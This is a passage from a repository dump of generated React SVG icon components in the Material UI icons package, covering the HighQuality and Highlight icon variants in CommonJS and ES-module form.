    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6H5v12h14zm-8 9H9.5v-2h-2v2H6V9h1.5v2.5h2V9H11zm7-1c0 .55-.45 1-1 1h-.75v1.5h-1.5V15H14c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm-3.5-3.5h2v3h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2m2 0h14v12H5zm4.5 5.5h-2V9H6v6h1.5v-2h2v2H11V9H9.5zM17 9h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h.75v1.5h1.5V15H17c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2z\"\n}, \"1\")], 'HighQualityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighQualityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6H5v12h14zm-8 9H9.5v-2h-2v2H6V9h1.5v2.5h2V9H11zm7-1c0 .55-.45 1-1 1h-.75v1.5h-1.5V15H14c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm-3.5-3.5h2v3h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2m2 0h14v12H5zm4.5 5.5h-2V9H6v6h1.5v-2h2v2H11V9H9.5zM17 9h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h.75v1.5h1.5V15H17c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2z\"\n}, \"1\")], 'HighQualityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Highlight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 14 3 3v5h6v-5l3-3V9H6zm5-12h2v3h-2zM3.5 5.88l1.41-1.41 2.12 2.12L5.62 8zm13.46.71 2.12-2.12 1.41 1.41L18.38 8z\"\n}), 'Highlight');"
  },
  {
    "path": "packages/mui-icons-material/lib/Highlight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 14 3 3v5h6v-5l3-3V9H6zm5-12h2v3h-2zM3.5 5.88l1.41-1.41 2.12 2.12L5.62 8zm13.46.71 2.12-2.12 1.41 1.41L18.38 8z\"\n}), 'Highlight');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5h-2V3h2zm-2 16h2v-2.59L19.59 21 21 19.59 18.41 17H21v-2h-6zm4-12h2V7h-2zm0 4h2v-2h-2zm-8 8h2v-2h-2zM7 5h2V3H7zM3 17h2v-2H3zm2 4v-2H3c0 1.1.9 2 2 2M19 3v2h2c0-1.1-.9-2-2-2m-8 2h2V3h-2zM3 9h2V7H3zm4 12h2v-2H7zm-4-8h2v-2H3zm0-8h2V3c-1.1 0-2 .9-2 2\"\n}), 'HighlightAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5h-2V3h2zm-2 16h2v-2.59L19.59 21 21 19.59 18.41 17H21v-2h-6zm4-12h2V7h-2zm0 4h2v-2h-2zm-8 8h2v-2h-2zM7 5h2V3H7zM3 17h2v-2H3zm2 4v-2H3c0 1.1.9 2 2 2M19 3v2h2c0-1.1-.9-2-2-2m-8 2h2V3h-2zM3 9h2V7H3zm4 12h2v-2H7zm-4-8h2v-2H3zm0-8h2V3c-1.1 0-2 .9-2 2\"\n}), 'HighlightAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5h-2V3h2zm-2 10v6l2.29-2.29 2.3 2.29L21 19.59l-2.29-2.29L21 15zm4-6h2V7h-2zm0 4h2v-2h-2zm-8 8h2v-2h-2zM7 5h2V3H7zM3 17h2v-2H3zm2 4v-2H3c0 1.1.9 2 2 2M19 3v2h2c0-1.1-.9-2-2-2m-8 2h2V3h-2zM3 9h2V7H3zm4 12h2v-2H7zm-4-8h2v-2H3zm0-8h2V3c-1.1 0-2 .9-2 2\"\n}), 'HighlightAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5h-2V3h2zm-2 10v6l2.29-2.29 2.3 2.29L21 19.59l-2.29-2.29L21 15zm4-6h2V7h-2zm0 4h2v-2h-2zm-8 8h2v-2h-2zM7 5h2V3H7zM3 17h2v-2H3zm2 4v-2H3c0 1.1.9 2 2 2M19 3v2h2c0-1.1-.9-2-2-2m-8 2h2V3h-2zM3 9h2V7H3zm4 12h2v-2H7zm-4-8h2v-2H3zm0-8h2V3c-1.1 0-2 .9-2 2\"\n}), 'HighlightAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5h-2V3h2zm2 4h2V7h-2zm0 4h2v-2h-2zm-8 8h2v-2h-2zM7 5h2V3H7zM3 17h2v-2H3zm2 4v-2H3c0 1.1.9 2 2 2M19 3v2h2c0-1.1-.9-2-2-2m-8 2h2V3h-2zM3 9h2V7H3zm4 12h2v-2H7zm-4-8h2v-2H3zm0-8h2V3c-1.1 0-2 .9-2 2m15.71 12.29 1.44-1.44c.32-.32.09-.85-.35-.85H16c-.55 0-1 .45-1 1v3.79c0 .45.54.67.85.35l1.44-1.44 2 2c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'HighlightAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5h-2V3h2zm2 4h2V7h-2zm0 4h2v-2h-2zm-8 8h2v-2h-2zM7 5h2V3H7zM3 17h2v-2H3zm2 4v-2H3c0 1.1.9 2 2 2M19 3v2h2c0-1.1-.9-2-2-2m-8 2h2V3h-2zM3 9h2V7H3zm4 12h2v-2H7zm-4-8h2v-2H3zm0-8h2V3c-1.1 0-2 .9-2 2m15.71 12.29 1.44-1.44c.32-.32.09-.85-.35-.85H16c-.55 0-1 .45-1 1v3.79c0 .45.54.67.85.35l1.44-1.44 2 2c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}), 'HighlightAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5h-2V3h2zm2-2v2h2V3zm0 6h2V7h-2zm0 4h2v-2h-2zm-8 8h2v-2h-2zM7 5h2V3H7zM3 5h2V3H3zm0 12h2v-2H3zm0 4h2v-2H3zm8-16h2V3h-2zM3 9h2V7H3zm4 12h2v-2H7zm-4-8h2v-2H3zm12 2v6l2.29-2.29 2.3 2.29L21 19.59l-2.29-2.29L21 15z\"\n}), 'HighlightAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5h-2V3h2zm2-2v2h2V3zm0 6h2V7h-2zm0 4h2v-2h-2zm-8 8h2v-2h-2zM7 5h2V3H7zM3 5h2V3H3zm0 12h2v-2H3zm0 4h2v-2H3zm8-16h2V3h-2zM3 9h2V7H3zm4 12h2v-2H7zm-4-8h2v-2H3zm12 2v6l2.29-2.29 2.3 2.29L21 19.59l-2.29-2.29L21 15z\"\n}), 'HighlightAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5h-2V3h2zm-2 10v6l2.29-2.29 2.3 2.29L21 19.59l-2.29-2.29L21 15zm4-6h2V7h-2zm0 4h2v-2h-2zm-8 8h2v-2h-2zM7 5h2V3H7zM3 17h2v-2H3zm2 4v-2H3c0 1.1.9 2 2 2M19 3v2h2c0-1.1-.9-2-2-2m-8 2h2V3h-2zM3 9h2V7H3zm4 12h2v-2H7zm-4-8h2v-2H3zm0-8h2V3c-1.1 0-2 .9-2 2\"\n}), 'HighlightAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5h-2V3h2zm-2 10v6l2.29-2.29 2.3 2.29L21 19.59l-2.29-2.29L21 15zm4-6h2V7h-2zm0 4h2v-2h-2zm-8 8h2v-2h-2zM7 5h2V3H7zM3 17h2v-2H3zm2 4v-2H3c0 1.1.9 2 2 2M19 3v2h2c0-1.1-.9-2-2-2m-8 2h2V3h-2zM3 9h2V7H3zm4 12h2v-2H7zm-4-8h2v-2H3zm0-8h2V3c-1.1 0-2 .9-2 2\"\n}), 'HighlightAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59 9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41zM12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'HighlightOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59 9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41zM12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'HighlightOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59 9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41zM12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'HighlightOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59 9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41zM12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'HighlightOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.89 8.7 12 10.59 10.11 8.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10.59 12 8.7 13.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 13.41l1.89 1.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 12l1.89-1.89c.39-.39.39-1.02 0-1.41-.39-.38-1.03-.38-1.41 0M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'HighlightOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.89 8.7 12 10.59 10.11 8.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10.59 12 8.7 13.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 13.41l1.89 1.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 12l1.89-1.89c.39-.39.39-1.02 0-1.41-.39-.38-1.03-.38-1.41 0M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'HighlightOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59 9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41zM12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'HighlightOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59 9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41zM12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'HighlightOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m4 10.59L14.59 16 12 13.41 9.41 16 8 14.59 10.59 12 8 9.41 9.41 8 12 10.59 14.59 8 16 9.41 13.41 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59 9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41zM12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'HighlightOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m4 10.59L14.59 16 12 13.41 9.41 16 8 14.59 10.59 12 8 9.41 9.41 8 12 10.59 14.59 8 16 9.41 13.41 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 8 12 10.59 9.41 8 8 9.41 10.59 12 8 14.59 9.41 16 12 13.41 14.59 16 16 14.59 13.41 12 16 9.41zM12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'HighlightOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 14 3 3v5h6v-5l3-3V9H6zm2-3h8v2.17l-3 3V20h-2v-3.83l-3-3zm3-9h2v3h-2zM3.502 5.874 4.916 4.46l2.122 2.12-1.414 1.415zm13.458.708 2.123-2.12 1.413 1.416-2.123 2.12z\"\n}), 'HighlightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 14 3 3v5h6v-5l3-3V9H6zm2-3h8v2.17l-3 3V20h-2v-3.83l-3-3zm3-9h2v3h-2zM3.502 5.874 4.916 4.46l2.122 2.12-1.414 1.415zm13.458.708 2.123-2.12 1.413 1.416-2.123 2.12z\"\n}), 'HighlightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.29 14.29 9 17v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4l2.71-2.71c.19-.19.29-.44.29-.71V10c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v3.59c0 .26.11.52.29.7M12 2c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1s-1-.45-1-1V3c0-.55.45-1 1-1M4.21 5.17c.39-.39 1.02-.39 1.42 0l.71.71c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0l-.72-.71a.996.996 0 0 1 0-1.41m13.46.71.71-.71c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-.71.71c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41\"\n}), 'HighlightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.29 14.29 9 17v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4l2.71-2.71c.19-.19.29-.44.29-.71V10c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v3.59c0 .26.11.52.29.7M12 2c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1s-1-.45-1-1V3c0-.55.45-1 1-1M4.21 5.17c.39-.39 1.02-.39 1.42 0l.71.71c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0l-.72-.71a.996.996 0 0 1 0-1.41m13.46.71.71-.71c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-.71.71c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41\"\n}), 'HighlightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 14 3 3v5h6v-5l3-3V9H6zm5-12h2v3h-2zM3.5 5.88l1.41-1.41 2.12 2.12L5.62 8zm13.46.71 2.12-2.12 1.41 1.41L18.38 8z\"\n}), 'HighlightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 14 3 3v5h6v-5l3-3V9H6zm5-12h2v3h-2zM3.5 5.88l1.41-1.41 2.12 2.12L5.62 8zm13.46.71 2.12-2.12 1.41 1.41L18.38 8z\"\n}), 'HighlightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 20h2v-3.83l3-3V11H8v2.17l3 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 14 3 3v5h6v-5l3-3V9H6zm2-3h8v2.17l-3 3V20h-2v-3.83l-3-3zm3-9h2v3h-2zM4.916 4.464l2.12 2.122L5.62 8 3.5 5.877zM18.372 8l-1.414-1.414 2.12-2.12 1.415 1.413z\"\n}, \"1\")], 'HighlightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HighlightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 20h2v-3.83l3-3V11H8v2.17l3 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 14 3 3v5h6v-5l3-3V9H6zm2-3h8v2.17l-3 3V20h-2v-3.83l-3-3zm3-9h2v3h-2zM4.916 4.464l2.12 2.122L5.62 8 3.5 5.877zM18.372 8l-1.414-1.414 2.12-2.12 1.415 1.413z\"\n}, \"1\")], 'HighlightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hiking.js",
